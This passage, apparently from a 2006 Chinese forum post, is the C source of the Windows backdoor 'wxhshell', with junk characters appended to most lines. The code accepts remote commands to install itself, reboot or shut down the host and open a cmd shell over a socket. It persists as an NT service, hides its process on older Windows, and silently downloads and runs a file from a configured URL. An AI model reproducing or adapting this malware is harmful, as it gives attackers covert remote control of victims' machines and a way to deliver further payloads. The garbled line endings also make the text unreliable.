      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hk+44   
    break; ^k % +ao  
  } l opl  
  // 安装 g zi=+oJ|4  
  case 'i': { lwt,w<E$  
    if(Install()) )|v  du  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G3|23G.~)(  
    else En7+fQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )G/=3;!  
    break; ESoqmCJjb:  
    } i#YDdz  
  // 卸载 yxx_%9X  
  case 'r': { 4w%hvJ  
    if(Uninstall()) z)KoK`\mE"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h(nE)j  
    else s[{8:Px  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XOqHzft h6  
    break;  dEXhn  
    } A4l"^dZc  
  // 显示 wxhshell 所在路径 _:Q^mV=;j  
  case 'p': { b/*QV0(  
    char svExeFile[MAX_PATH]; q*R~gEi#yk  
    strcpy(svExeFile,"\n\r"); i/ o  
      strcat(svExeFile,ExeFile); `2U,#nZ 4  
        send(wsh,svExeFile,strlen(svExeFile),0); V9< E `C  
    break; chD7 ^&5]  
    } fXnTqKAfu6  
  // 重启 _Q^jk0K8ga  
  case 'b': { =aj|auu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0e"KdsA:<U  
    if(Boot(REBOOT)) "Vc|D (g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bZWR. </  
    else { YdvXp/P:|  
    closesocket(wsh); X)]>E]X  
    ExitThread(0); EhO\N\p(Q=  
    } pHVDug3  
    break; /oe0  
    } @.cord`  
  // 关机 5[zr(FuE  
  case 'd': { A<H]uQ>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nUONI+6Z/  
    if(Boot(SHUTDOWN)) S|u5RU8*"|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mhIGunK;+  
    else { zB y%$5~Fw  
    closesocket(wsh); 6k,@+ @]t.  
    ExitThread(0); 0|va}m`<3G  
    } nq7)0F%e  
    break; >/.jB/q  
    } ~qb?#IY]`  
  // 获取shell D.AiqO<z  
  case 's': { wMF1HT<*  
    CmdShell(wsh); 2\$<&]q  
    closesocket(wsh); }1CO>a<  
    ExitThread(0); hHw1<! M  
    break; aAoAjVNkK  
  } ;/m>c{  
  // 退出 WR.7%U';  
  case 'x': { Zq1> M'V;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UBM8l  
    CloseIt(wsh); ,9=P=JH  
    break; =fBr2%qK  
    } ,t1s#*j\!q  
  // 离开 3S^Qo9S  
  case 'q': { z&GGa`T"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); mNe908Yw  
    closesocket(wsh); m|cRj{xZF  
    WSACleanup(); jvd3_L-@E<  
    exit(1); 0~<t :q!  
    break; Vas Q/  
        } ]]V=\.y  
  } q{,yas7}  
  } ioTqT:.  
<9=RLENmY"  
  // 提示信息 E.VEW;=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /KvpJ4  
} TKw>eGe  
  } Z-U3Tr SI  
Pd  6  
  return; `n|k+tsC  
} IfRrl/!nw  
%ULd_ES^  
// shell模块句柄 "J >, Hr9  
int CmdShell(SOCKET sock) JLyFk V/  
{ 84Hm PPt  
STARTUPINFO si; WFeaX7\b  
ZeroMemory(&si,sizeof(si)); U8g?   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q|D*H9[ke  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;NJM3g0I  
PROCESS_INFORMATION ProcessInfo; H~hAm  
char cmdline[]="cmd"; 1nLFtiki  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f'Xz4;  
  return 0; 9qZ|=r]y'  
} SLd9-N}T  
MT&q~jx*  
// 自身启动模式 \v9<L'NP)  
int StartFromService(void) t^9q>[/d`  
{ HZ2zL17  
typedef struct KRcg  
{ f;ycQc@f  
  DWORD ExitStatus; QPF[D7\  
  DWORD PebBaseAddress; |4Q><6"G  
  DWORD AffinityMask; ',RR*{I  
  DWORD BasePriority; +n`^W(  
  ULONG UniqueProcessId; yFP#z5G  
  ULONG InheritedFromUniqueProcessId; P|)SXR  
}   PROCESS_BASIC_INFORMATION; Sag\wKV8  
VHws9)  
PROCNTQSIP NtQueryInformationProcess; ]Otl(\v(h  
\=~<I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1hp@.Fv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @1[LD[<  
9=~jKl%\vJ  
  HANDLE             hProcess; )=D9L  
  PROCESS_BASIC_INFORMATION pbi; Ipmr@%~  
==j3 9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~RE`@/wQ]  
  if(NULL == hInst ) return 0; Y.Ew;\6U  
8%U)EU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t,P +~ A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WqU$cQD"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5O%}.}n  
2Z..~1r  
  if (!NtQueryInformationProcess) return 0; Z=sAR(n}~  
EA>$t\z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AB#hh i#  
  if(!hProcess) return 0; 3vs2}IV'  
!*#=7^#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <$9AP  
X!_OOfueP8  
  CloseHandle(hProcess); Kd,m;S\  
XJOo.Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -)<Nd:A  
if(hProcess==NULL) return 0; !8s:3]  
khu,P[3>  
HMODULE hMod; !p9F'7;Y<  
char procName[255]; @fYA{-ZC  
unsigned long cbNeeded; gf@'d.W}  
? 8!N{NV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cRfX  
s^v,i CH {  
  CloseHandle(hProcess); "|&*MjwN6  
B'0Il"g'  
if(strstr(procName,"services")) return 1; // 以服务启动 ,>jm|BTD {  
(}qLxZ/U  
  return 0; // 注册表启动 $fvUb_n  
} cE]kI,Fw,M  
FRF}V@~  
// 主模块 "Ii!)n,  
int StartWxhshell(LPSTR lpCmdLine) F;NZJEy  
{ 6<~y!\4;F  
  SOCKET wsl; ,zyrBO0 Eq  
BOOL val=TRUE; _bz,G"w+:  
  int port=0; Zd%\x[f9ck  
  struct sockaddr_in door; Tp6ysjao  
},L[bDOV07  
  if(wscfg.ws_autoins) Install(); f!I e  
r#~6FpFVK^  
port=atoi(lpCmdLine); `4p9K  
vA{[F7  
if(port<=0) port=wscfg.ws_port; u1kbWbHu(  
hP#&]W3:  
  WSADATA data; Mo<p+*8u:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %`\{Nx k  
@<sP1`1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J)[(4R>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4%{m7CK}  
  door.sin_family = AF_INET; liB>~DVC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _0`O}  
  door.sin_port = htons(port); .lnD]Q  
O&0R ~<n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [(K^x?\Y0'  
closesocket(wsl); dk ?0r  
return 1; C|JWom\J  
} >) ^!gz8  
7I  
  if(listen(wsl,2) == INVALID_SOCKET) { S9BJjo  
closesocket(wsl); 0nuFWV  
return 1; 0&-sz=L  
} #,;k>2j0  
  Wxhshell(wsl); ouI0"R&@  
  WSACleanup(); ]_,~q@r$  
*]=)mM#  
return 0; m ;vNA  
5f5`7uVJF  
} yiUdUw/  
uQNoIy J)  
// 以NT服务方式启动 1WKDG~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *dl@)~i  
{ ,O+7nByi[V  
DWORD   status = 0; 1$W!<:uh  
  DWORD   specificError = 0xfffffff; ~}116K  
KP(Bu0S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %"6IAt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NlMx!f>b%/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o_5@R+&  
  serviceStatus.dwWin32ExitCode     = 0; s'^#[%EgB  
  serviceStatus.dwServiceSpecificExitCode = 0; &Hqu`A/^  
  serviceStatus.dwCheckPoint       = 0; rG]Xgq"   
  serviceStatus.dwWaitHint       = 0; _V?Q4}7d/  
( FRf.mv{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1XKk~G"D  
  if (hServiceStatusHandle==0) return; Sm,$~~iq}  
xl^'U/  
status = GetLastError(); ZjK~s)RC  
  if (status!=NO_ERROR) 90!Ib~7zH  
{ Z-?9F`}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a*8}~p,  
    serviceStatus.dwCheckPoint       = 0; ;F Bc^*q  
    serviceStatus.dwWaitHint       = 0; H#y"3E<s  
    serviceStatus.dwWin32ExitCode     = status; Mg$Z^v|}0  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1d"P) 3dQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y4O L 82Y  
    return; jj2UUQ|  
  } 9lxT5Wg  
.%A2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \v_C7R;&  
  serviceStatus.dwCheckPoint       = 0; ,d+mT^jN  
  serviceStatus.dwWaitHint       = 0; ]lY9[~ v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); loJ0PY'}=  
} wGH@I_cy>  
DPOPRi~  
// 处理NT服务事件,比如:启动、停止 9vu8koL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '3Ie0QO]"%  
{ s$_#T  
switch(fdwControl) K36B9<F  
{ ^xwFjQXx  
case SERVICE_CONTROL_STOP: (Wqhuw!u  
  serviceStatus.dwWin32ExitCode = 0; (YOgQ)},  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I .ty-X]  
  serviceStatus.dwCheckPoint   = 0; z"#.o^5  
  serviceStatus.dwWaitHint     = 0; !)=o,sVA  
  { [}p.*U_nw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @gc"-V*-/  
  } EoeEg,'~F  
  return; EiUV?Gvz  
case SERVICE_CONTROL_PAUSE: P$Q&xN<#)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `^kST><  
  break; ?r<F\rBT7*  
case SERVICE_CONTROL_CONTINUE: %"zJsYQ!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Biwdb  
  break; $5r,Q{;$  
case SERVICE_CONTROL_INTERROGATE: -wfV  
  break; }TW=eu~  
}; !*gAGt_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >``GDjcJ  
} v2{s2kB=  
|Y11sDa9h  
// 标准应用程序主函数 ]r6bJ 2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Bl];^W^P  
{ mtHz6+  
$@)d9u cd  
// 获取操作系统版本 P1n@E*~V5  
OsIsNt=GetOsVer(); P}`1#$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h :R)KM  
k;5}@3iQ  
  // 从命令行安装 r.;iO0[/  
  if(strpbrk(lpCmdLine,"iI")) Install(); Rjl__90  
:F=nb+HZ  
  // 下载执行文件 `WS_*fJ5  
if(wscfg.ws_downexe) { 8)8oR&(f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sIsu >eL  
  WinExec(wscfg.ws_filenam,SW_HIDE); p%1m&/ `F  
} [!mjUsut*  
1 7oxD  
if(!OsIsNt) { ($> 0&w  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;7k7/f:  
HideProc(); >>zoG3H!  
StartWxhshell(lpCmdLine); RzQS@^u*F0  
} QOk"UP  
else >iN%Uz  
  if(StartFromService()) 0)V-|v`  
  // 以服务方式启动 rU@?v+i  
  StartServiceCtrlDispatcher(DispatchTable); 3H2;mqq  
else I>Q,]S1h  
  // 普通方式启动 VYo;[ue([  
  StartWxhshell(lpCmdLine); YWrY{6M  
.`N` M9  
return 0; 'Y\"^'OU\  
}
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只看该作者 1 发表于: 2006-10-10
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